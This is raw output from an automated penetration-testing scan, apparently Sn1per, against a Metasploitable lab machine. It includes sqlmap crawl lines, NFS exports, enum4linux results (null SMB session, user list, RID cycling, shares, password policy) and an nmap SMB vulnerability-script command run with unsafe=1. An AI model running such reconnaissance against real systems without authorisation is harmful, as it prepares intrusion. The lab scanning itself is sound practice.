'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebStatistics?rev=r1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebStatistics?rev=r1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebStatistics?rev=r1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Sandbox/WebStatistics?rev=1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459419' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/JohnTalintyre?rev=r1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/JohnTalintyre?rev=r1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/JohnTalintyre?rev=r1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/JohnTalintyre?rev1=1.2&rev2=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/JohnTalintyre?rev=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/JohnTalintyre?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TextFormattingRules?t=1441459422' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459423' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rename/TWiki/TWikiForms?currentwebonly=on' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text&web=all;®ex=on&search=TWiki *Forms[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/AndreaSterbini?t=1441459425' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Andrea *Sterbini[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/AndreaSterbini?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/AndreaSterbini?rev1=1.3&rev2=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/AndreaSterbini?rev1=1.2&rev2=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/AndreaSterbini?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TextFormattingFAQ?t=1441459425' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Main/TWikiUsers?t=1441459426' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/Know/OsMacOS?t=1441459426' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/search/Know/SearchResult?scope=text®ex=on&search=Os *Mac *OS[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/OsMacOS?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/OsMacOS?rev1=1.2&rev2=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Know/OsMacOS?template=oopsmore¶m1=1.2¶m2=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/attach/TWiki/WelcomeGuest?filename=pix.gif&revInfo=1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459427' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/attach/TWiki/WebPreferences?filename=pix.gif&revInfo=1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/TWikiCategory?rev=r1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/TWikiCategory?rev=r1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/TWikiCategory?rev=r1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Know/TWikiCategory?rev1=1.2&rev2=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Know/TWikiCategory?rev=1.1' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Know/TWikiCategory?template=oopsmore¶m1=1.3¶m2=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebHome?skin=print&rev=1.7' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/WebHome?template=oopsmore¶m1=1.21¶m2=1.7' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/edit/TWiki/WebChanges?t=1441459431' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=Web *Changes[^A-Za-z]' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/WebChanges?skin=print' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/WebChanges?rev1=1.4&rev2=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/WebChanges?rev=1.3' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/rdiff/TWiki/WebChanges?rev1=1.3&rev2=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/view/TWiki/WebChanges?rev=1.2' [20:24:28] [INFO] skipping 'http://192.168.1.113/twiki/bin/oops/TWiki/WebChanges?template=oopsmore¶m1=1.4¶m2=1.4' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiPreferences?t=1441459431' [20:24:28] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441459432' [20:24:28] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.sqlmap/output/results-09062015_0617pm.csv'
[*] shutting down at 20:24:28
- -- --=[Port 110 closed... skipping.
- -- --=[Port 111 opened... running tests... All mount points on 192.168.1.113: Directories on 192.168.1.113: Export list for 192.168.1.113: / *
- -- --=[Port 135 closed... skipping.
- -- --=[Port 139 opened... running tests... Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Sep 6 20:24:29 2015
========================== | Target Information |
Target ........... 192.168.1.113 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===================================================== | Enumerating Workgroup/Domain on 192.168.1.113 |
[+] Got domain/workgroup name: WORKGROUP
============================================= | Nbtstat Information for 192.168.1.113 |
Looking up status of 192.168.1.113 METASPLOITABLE <00> - B Workstation Service METASPLOITABLE <03> - B Messenger Service METASPLOITABLE <20> - B File Server Service WORKGROUP <00> - B Domain/Workgroup Name WORKGROUP <1e> - B Browser Service Elections
MAC Address = 00-00-00-00-00-00
====================================== | Session Check on 192.168.1.113 |
[+] Server 192.168.1.113 allows sessions using username '', password ''
============================================ | Getting domain SID for 192.168.1.113 |
Domain Name: WORKGROUP Domain Sid: (NULL SID) [+] Can't determine if host is part of domain or part of a workgroup
======================================= | OS information on 192.168.1.113 |
[+] Got OS info for 192.168.1.113 from smbclient: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] [+] Got OS info for 192.168.1.113 from srvinfo: METASPLOITABLE Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian) platform_id : 500 os version : 4.9 server type : 0x9a03
============================== | Users on 192.168.1.113 |
index: 0x1 RID: 0x3f2 acb: 0x00000011 Account: games Name: games Desc: (null) index: 0x2 RID: 0x1f5 acb: 0x00000011 Account: nobody Name: nobody Desc: (null) index: 0x3 RID: 0x4ba acb: 0x00000011 Account: bind Name: (null) Desc: (null) index: 0x4 RID: 0x402 acb: 0x00000011 Account: proxy Name: proxy Desc: (null) index: 0x5 RID: 0x4b4 acb: 0x00000011 Account: syslog Name: (null) Desc: (null) index: 0x6 RID: 0xbba acb: 0x00000010 Account: user Name: just a user,111,, Desc: (null) index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data Name: www-data Desc: (null) index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root Name: root Desc: (null) index: 0x9 RID: 0x3fa acb: 0x00000011 Account: news Name: news Desc: (null) index: 0xa RID: 0x4c0 acb: 0x00000011 Account: postgres Name: PostgreSQL administrator,,, Desc: (null) index: 0xb RID: 0x3ec acb: 0x00000011 Account: bin Name: bin Desc: (null) index: 0xc RID: 0x3f8 acb: 0x00000011 Account: mail Name: mail Desc: (null) index: 0xd RID: 0x4c6 acb: 0x00000011 Account: distccd Name: (null) Desc: (null) index: 0xe RID: 0x4ca acb: 0x00000011 Account: proftpd Name: (null) Desc: (null) index: 0xf RID: 0x4b2 acb: 0x00000011 Account: dhcp Name: (null) Desc: (null) index: 0x10 RID: 0x3ea acb: 0x00000011 Account: daemon Name: daemon Desc: (null) index: 0x11 RID: 0x4b8 acb: 0x00000011 Account: sshd Name: (null) Desc: (null) index: 0x12 RID: 0x3f4 acb: 0x00000011 Account: man Name: man Desc: (null) index: 0x13 RID: 0x3f6 acb: 0x00000011 Account: lp Name: lp Desc: (null) index: 0x14 RID: 0x4c2 acb: 0x00000011 Account: mysql Name: MySQL Server,,, Desc: (null) index: 0x15 RID: 0x43a acb: 0x00000011 Account: gnats Name: Gnats Bug-Reporting System (admin) Desc: (null) index: 0x16 RID: 0x4b0 acb: 0x00000011 Account: libuuid Name: (null) Desc: (null) index: 0x17 RID: 0x42c acb: 0x00000011 Account: backup Name: backup Desc: (null) index: 0x18 RID: 0xbb8 acb: 0x00000010 Account: msfadmin Name: msfadmin,,, Desc: (null) index: 0x19 RID: 0x4c8 acb: 0x00000011 Account: telnetd Name: (null) Desc: (null) index: 0x1a RID: 0x3ee acb: 0x00000011 Account: sys Name: sys Desc: (null) index: 0x1b RID: 0x4b6 acb: 0x00000011 Account: klog Name: (null) Desc: (null) index: 0x1c RID: 0x4bc acb: 0x00000011 Account: postfix Name: (null) Desc: (null) index: 0x1d RID: 0xbbc acb: 0x00000011 Account: service Name: ,,, Desc: (null) index: 0x1e RID: 0x434 acb: 0x00000011 Account: list Name: Mailing List Manager Desc: (null) index: 0x1f RID: 0x436 acb: 0x00000011 Account: irc Name: ircd Desc: (null) index: 0x20 RID: 0x4be acb: 0x00000011 Account: ftp Name: (null) Desc: (null) index: 0x21 RID: 0x4c4 acb: 0x00000011 Account: tomcat55 Name: (null) Desc: (null) index: 0x22 RID: 0x3f0 acb: 0x00000011 Account: sync Name: sync Desc: (null) index: 0x23 RID: 0x3fc acb: 0x00000011 Account: uucp Name: uucp Desc: (null)
user:[games] rid:[0x3f2] user:[nobody] rid:[0x1f5] user:[bind] rid:[0x4ba] user:[proxy] rid:[0x402] user:[syslog] rid:[0x4b4] user:[user] rid:[0xbba] user:[www-data] rid:[0x42a] user:[root] rid:[0x3e8] user:[news] rid:[0x3fa] user:[postgres] rid:[0x4c0] user:[bin] rid:[0x3ec] user:[mail] rid:[0x3f8] user:[distccd] rid:[0x4c6] user:[proftpd] rid:[0x4ca] user:[dhcp] rid:[0x4b2] user:[daemon] rid:[0x3ea] user:[sshd] rid:[0x4b8] user:[man] rid:[0x3f4] user:[lp] rid:[0x3f6] user:[mysql] rid:[0x4c2] user:[gnats] rid:[0x43a] user:[libuuid] rid:[0x4b0] user:[backup] rid:[0x42c] user:[msfadmin] rid:[0xbb8] user:[telnetd] rid:[0x4c8] user:[sys] rid:[0x3ee] user:[klog] rid:[0x4b6] user:[postfix] rid:[0x4bc] user:[service] rid:[0xbbc] user:[list] rid:[0x434] user:[irc] rid:[0x436] user:[ftp] rid:[0x4be] user:[tomcat55] rid:[0x4c4] user:[sync] rid:[0x3f0] user:[uucp] rid:[0x3fc]
========================================== | Share Enumeration on 192.168.1.113 |
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
Server Comment
--------- -------
METASPLOITABLE metasploitable server (Samba 3.0.20-Debian)
TREADSTONE Samba 4.0.6-Debian
Workgroup Master
--------- -------
WORKGROUP TREADSTONE
[+] Attempting to map shares on 192.168.1.113 //192.168.1.113/print$ Mapping: DENIED, Listing: N/A //192.168.1.113/tmp Mapping: OK, Listing: OK //192.168.1.113/opt Mapping: DENIED, Listing: N/A //192.168.1.113/IPC$ [E] Can't understand response: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] NT_STATUS_NETWORK_ACCESS_DENIED listing * //192.168.1.113/ADMIN$ Mapping: DENIED, Listing: N/A
===================================================== | Password Policy Information for 192.168.1.113 |
[+] Attaching to 192.168.1.113 using a NULL share
[+] Trying protocol 445/SMB...
[+] Found domain(s):
[+] METASPLOITABLE
[+] Builtin
[+] Password Info for Domain: METASPLOITABLE
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled Minimum Password Length: 0
=============================== | Groups on 192.168.1.113 |
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
======================================================================== | Users on 192.168.1.113 via RID cycling (RIDS: 500-550,1000-1050) |
[I] Found new SID: S-1-5-21-1042354039-2475377354-766472396 [+] Enumerating users using SID S-1-5-21-1042354039-2475377354-766472396 and logon username '', password '' S-1-5-21-1042354039-2475377354-766472396-500 METASPLOITABLE\Administrator (Local User) S-1-5-21-1042354039-2475377354-766472396-501 METASPLOITABLE\nobody (Local User) S-1-5-21-1042354039-2475377354-766472396-502 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-503 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-504 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-505 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-506 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-507 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-508 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-509 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-510 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-511 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-512 METASPLOITABLE\Domain Admins (Domain Group) S-1-5-21-1042354039-2475377354-766472396-513 METASPLOITABLE\Domain Users (Domain Group) S-1-5-21-1042354039-2475377354-766472396-514 METASPLOITABLE\Domain Guests (Domain Group) S-1-5-21-1042354039-2475377354-766472396-515 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-516 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-517 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-518 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-519 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-520 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-521 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-522 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-523 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-524 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-525 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-526 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-527 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-528 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-529 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-530 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-531 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-532 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-533 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-534 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-535 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-536 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-537 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-538 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-539 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-540 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-541 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-542 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-543 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-544 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-545 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-546 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-547 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-548 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-549 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-550 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1000 METASPLOITABLE\root (Local User) S-1-5-21-1042354039-2475377354-766472396-1001 METASPLOITABLE\root (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1002 METASPLOITABLE\daemon (Local User) S-1-5-21-1042354039-2475377354-766472396-1003 METASPLOITABLE\daemon (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1004 METASPLOITABLE\bin (Local User) S-1-5-21-1042354039-2475377354-766472396-1005 METASPLOITABLE\bin (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1006 METASPLOITABLE\sys (Local User) S-1-5-21-1042354039-2475377354-766472396-1007 METASPLOITABLE\sys (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1008 METASPLOITABLE\sync (Local User) S-1-5-21-1042354039-2475377354-766472396-1009 METASPLOITABLE\adm (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1010 METASPLOITABLE\games (Local User) S-1-5-21-1042354039-2475377354-766472396-1011 METASPLOITABLE\tty (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1012 METASPLOITABLE\man (Local User) S-1-5-21-1042354039-2475377354-766472396-1013 METASPLOITABLE\disk (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1014 METASPLOITABLE\lp (Local User) S-1-5-21-1042354039-2475377354-766472396-1015 METASPLOITABLE\lp (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1016 METASPLOITABLE\mail (Local User) S-1-5-21-1042354039-2475377354-766472396-1017 METASPLOITABLE\mail (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1018 METASPLOITABLE\news (Local User) S-1-5-21-1042354039-2475377354-766472396-1019 METASPLOITABLE\news (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1020 METASPLOITABLE\uucp (Local User) S-1-5-21-1042354039-2475377354-766472396-1021 METASPLOITABLE\uucp (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1022 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1023 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1024 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1025 METASPLOITABLE\man (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1026 METASPLOITABLE\proxy (Local User) S-1-5-21-1042354039-2475377354-766472396-1027 METASPLOITABLE\proxy (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1028 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1029 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1030 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1031 METASPLOITABLE\kmem (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1032 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1033 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1034 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1035 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1036 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1037 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1038 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1039 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1040 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1041 METASPLOITABLE\dialout (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1042 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1043 METASPLOITABLE\fax (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1044 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1045 METASPLOITABLE\voice (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1046 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1047 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1048 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1049 METASPLOITABLE\cdrom (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1050 unknown*unknown* (8)
============================================== | Getting printer info for 192.168.1.113 |
No printers returned.
enum4linux complete on Sun Sep 6 20:24:36 2015
Traceback (most recent call last): File "bin/samrdump.py", line 159, in logger.init() AttributeError: 'module' object has no attribute 'init' Doing NBT name scan for addresses from 192.168.1.113
IP address NetBIOS Name Server User MAC address
192.168.1.113 METASPLOITABLE METASPLOITABLE 00:00:00:00:00:00
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 20:24 EDT Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan nmap: timing.cc:708: bool ScanProgressMeter::printStats(double, const timeval*): Assertion `ltime' failed. ./sniper: line 267: 34838 Aborted nmap -sV --script=/usr/share/nmap/scripts/smb-check-vulns.nse --script=/usr/share/nmap/scripts/smb-os-discovery.nse --script=/usr/share/nmap/scripts/smb-enum-domains.nse --script=/usr/share/nmap/scripts/smb-server-stats.nse --script=/usr/share/nmap/scripts/smb-ls.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-054.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-061.nse --script=/usr/share/nmap/scripts/smb-system-info.nse --script=/usr/share/nmap/scripts/smb-enum-shares.nse --script=/usr/share/nmap/scripts/smb-enum-users.nse --script=/usr/share/nmap/scripts/smbv2-enabled.nse --script=/usr/share/nmap/scripts/smb-mbenum.nse --script-args=unsafe=1 -p 139 $TARGET
- -- --=[Port 162 closed... skipping.
- -- --=[Port 443 closed... skipping.
- -- --=[Port 445 opened... running tests... Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Sep 6 20:24:38 2015
========================== | Target Information |
Target ........... 192.168.1.113 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===================================================== | Enumerating Workgroup/Domain on 192.168.1.113 |
[+] Got domain/workgroup name: WORKGROUP
============================================= | Nbtstat Information for 192.168.1.113 |
Looking up status of 192.168.1.113 METASPLOITABLE <00> - B Workstation Service METASPLOITABLE <03> - B Messenger Service METASPLOITABLE <20> - B File Server Service WORKGROUP <00> - B Domain/Workgroup Name WORKGROUP <1e> - B Browser Service Elections
MAC Address = 00-00-00-00-00-00
====================================== | Session Check on 192.168.1.113 |
[+] Server 192.168.1.113 allows sessions using username '', password ''
============================================ | Getting domain SID for 192.168.1.113 |
Domain Name: WORKGROUP Domain Sid: (NULL SID) [+] Can't determine if host is part of domain or part of a workgroup
======================================= | OS information on 192.168.1.113 |
[+] Got OS info for 192.168.1.113 from smbclient: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] [+] Got OS info for 192.168.1.113 from srvinfo: METASPLOITABLE Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian) platform_id : 500 os version : 4.9 server type : 0x9a03
============================== | Users on 192.168.1.113 |
index: 0x1 RID: 0x3f2 acb: 0x00000011 Account: games Name: games Desc: (null) index: 0x2 RID: 0x1f5 acb: 0x00000011 Account: nobody Name: nobody Desc: (null) index: 0x3 RID: 0x4ba acb: 0x00000011 Account: bind Name: (null) Desc: (null) index: 0x4 RID: 0x402 acb: 0x00000011 Account: proxy Name: proxy Desc: (null) index: 0x5 RID: 0x4b4 acb: 0x00000011 Account: syslog Name: (null) Desc: (null) index: 0x6 RID: 0xbba acb: 0x00000010 Account: user Name: just a user,111,, Desc: (null) index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data Name: www-data Desc: (null) index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root Name: root Desc: (null) index: 0x9 RID: 0x3fa acb: 0x00000011 Account: news Name: news Desc: (null) index: 0xa RID: 0x4c0 acb: 0x00000011 Account: postgres Name: PostgreSQL administrator,,, Desc: (null) index: 0xb RID: 0x3ec acb: 0x00000011 Account: bin Name: bin Desc: (null) index: 0xc RID: 0x3f8 acb: 0x00000011 Account: mail Name: mail Desc: (null) index: 0xd RID: 0x4c6 acb: 0x00000011 Account: distccd Name: (null) Desc: (null) index: 0xe RID: 0x4ca acb: 0x00000011 Account: proftpd Name: (null) Desc: (null) index: 0xf RID: 0x4b2 acb: 0x00000011 Account: dhcp Name: (null) Desc: (null) index: 0x10 RID: 0x3ea acb: 0x00000011 Account: daemon Name: daemon Desc: (null) index: 0x11 RID: 0x4b8 acb: 0x00000011 Account: sshd Name: (null) Desc: (null) index: 0x12 RID: 0x3f4 acb: 0x00000011 Account: man Name: man Desc: (null) index: 0x13 RID: 0x3f6 acb: 0x00000011 Account: lp Name: lp Desc: (null) index: 0x14 RID: 0x4c2 acb: 0x00000011 Account: mysql Name: MySQL Server,,, Desc: (null) index: 0x15 RID: 0x43a acb: 0x00000011 Account: gnats Name: Gnats Bug-Reporting System (admin) Desc: (null) index: 0x16 RID: 0x4b0 acb: 0x00000011 Account: libuuid Name: (null) Desc: (null) index: 0x17 RID: 0x42c acb: 0x00000011 Account: backup Name: backup Desc: (null) index: 0x18 RID: 0xbb8 acb: 0x00000010 Account: msfadmin Name: msfadmin,,, Desc: (null) index: 0x19 RID: 0x4c8 acb: 0x00000011 Account: telnetd Name: (null) Desc: (null) index: 0x1a RID: 0x3ee acb: 0x00000011 Account: sys Name: sys Desc: (null) index: 0x1b RID: 0x4b6 acb: 0x00000011 Account: klog Name: (null) Desc: (null) index: 0x1c RID: 0x4bc acb: 0x00000011 Account: postfix Name: (null) Desc: (null) index: 0x1d RID: 0xbbc acb: 0x00000011 Account: service Name: ,,, Desc: (null) index: 0x1e RID: 0x434 acb: 0x00000011 Account: list Name: Mailing List Manager Desc: (null) index: 0x1f RID: 0x436 acb: 0x00000011 Account: irc Name: ircd Desc: (null) index: 0x20 RID: 0x4be acb: 0x00000011 Account: ftp Name: (null) Desc: (null) index: 0x21 RID: 0x4c4 acb: 0x00000011 Account: tomcat55 Name: (null) Desc: (null) index: 0x22 RID: 0x3f0 acb: 0x00000011 Account: sync Name: sync Desc: (null) index: 0x23 RID: 0x3fc acb: 0x00000011 Account: uucp Name: uucp Desc: (null)
user:[games] rid:[0x3f2] user:[nobody] rid:[0x1f5] user:[bind] rid:[0x4ba] user:[proxy] rid:[0x402] user:[syslog] rid:[0x4b4] user:[user] rid:[0xbba] user:[www-data] rid:[0x42a] user:[root] rid:[0x3e8] user:[news] rid:[0x3fa] user:[postgres] rid:[0x4c0] user:[bin] rid:[0x3ec] user:[mail] rid:[0x3f8] user:[distccd] rid:[0x4c6] user:[proftpd] rid:[0x4ca] user:[dhcp] rid:[0x4b2] user:[daemon] rid:[0x3ea] user:[sshd] rid:[0x4b8] user:[man] rid:[0x3f4] user:[lp] rid:[0x3f6] user:[mysql] rid:[0x4c2] user:[gnats] rid:[0x43a] user:[libuuid] rid:[0x4b0] user:[backup] rid:[0x42c] user:[msfadmin] rid:[0xbb8] user:[telnetd] rid:[0x4c8] user:[sys] rid:[0x3ee] user:[klog] rid:[0x4b6] user:[postfix] rid:[0x4bc] user:[service] rid:[0xbbc] user:[list] rid:[0x434] user:[irc] rid:[0x436] user:[ftp] rid:[0x4be] user:[tomcat55] rid:[0x4c4] user:[sync] rid:[0x3f0] user:[uucp] rid:[0x3fc]
========================================== | Share Enumeration on 192.168.1.113 |
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
